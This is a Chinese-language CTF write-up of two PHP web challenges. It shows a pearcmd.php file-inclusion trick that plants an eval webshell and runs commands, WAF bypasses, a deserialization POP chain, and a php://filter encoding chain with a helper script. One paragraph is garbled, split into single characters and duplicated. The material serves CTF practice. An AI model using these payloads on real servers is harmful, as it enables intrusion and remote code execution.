1.easy_include
看题目是一个文件包含题
post的内容被过滤掉.,而且开头必须是字母,但是如果想要文件包含需要file:///xxxx,这里开头就是/了,所以需要绕过,file伪协议可以用file://localhost+路径让绕过开头必须是字母。
可以看到能读取到文件,读取一些配置文件无果,尝试用pear文件包含
get传参 /?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
post传参 1=localhost/usr/local/lib/php/pearcmd.php
然后rce
post /shell.php
cmd=system('cat /f*');
2.easy_web
是一道反序列化题
题目有点长,逐步分析。
waf1:将获得到的参数写成键值对的形式,如果值匹配到a-z退出
waf2:如果匹配到show,退出
waf_in_waf_php:先统计字符串a中”base64”出现的次数。如果次数不为1,返回True。如果a中有ucs-2,phar,data,input,zip,flag,%等方法也返回True,如果次数为1或者不出现那些方法则返回False。
ctf:被唤醒时,抛出异常,被销毁时候,引用h1对象的nonono方法,参数为h2
show:当调用到以&name为名的不可访问方法时候触发__call,检查 数字第一层的第一层的第三个元素是否包含”ctf”,有则输出”gogogo”
Chu0_write:被创建时候,chu0被赋值为xiuxiuxiu,当Chu0_write被当作字符串使用时,如果chu0和chu1相等,content则为ctfshowshowshowww和get传参的chu0拼接后字符,如果name中的“base64”个数为1或者有其他方法,将content写入name.txt,其中name用get上传。tmp为读取ctfw.txt文件的内容,如果cmd绕过正则,执行cmd。
get传参show_show.show,先后进行waf1 和waf2如果绕过正则,进行反序列化。
从头看,waf1($_REQUEST);
R
E
Q
U
E
S
T
会同时接受
G
E
T
和
p
o
s
t
里面的请求,但是
p
o
s
t
的优先级更高,随意可以通过
p
o
s
t
传递数字绕过
w
a
f
1
的死亡退出
w
a
f
2
(
_REQUEST会同时接受GET 和post里面的请求,但是post的优先级更高,随意可以通过post传递数字绕过waf1的死亡退出 waf2(
REQUEST会同时接受GET和post里面的请求,但是post的优先级更高,随意可以通过post传递数字绕过waf1的死亡退出waf2(_SERVER[‘QUERY_STRING’]);参数名和参数值都不能有show,可以用url编码绕过。
pop链:从ctf()开始,destruct->show()->_call->Chu0_write()->_toString
尝试一下,现在可以想想如何rce了
将content写入name文件,但是content是与ctfshowshowshowwww拼接,想到file_put_contents()用过滤器传参,ctfshowshowshowwww被当作垃圾过滤掉,这里用utf-16将system写入ctfw.txx
php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw
然后chu0
脚本:
<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b)); //utf-16这里可以换成任意filter支持的字符编码
$c=quoted_printable_encode($payload);
echo $c;
>
system编码后是
=FF=FEc=003=00l=00z=00d=00G=00V=00t=00
读取环境变量得到flag.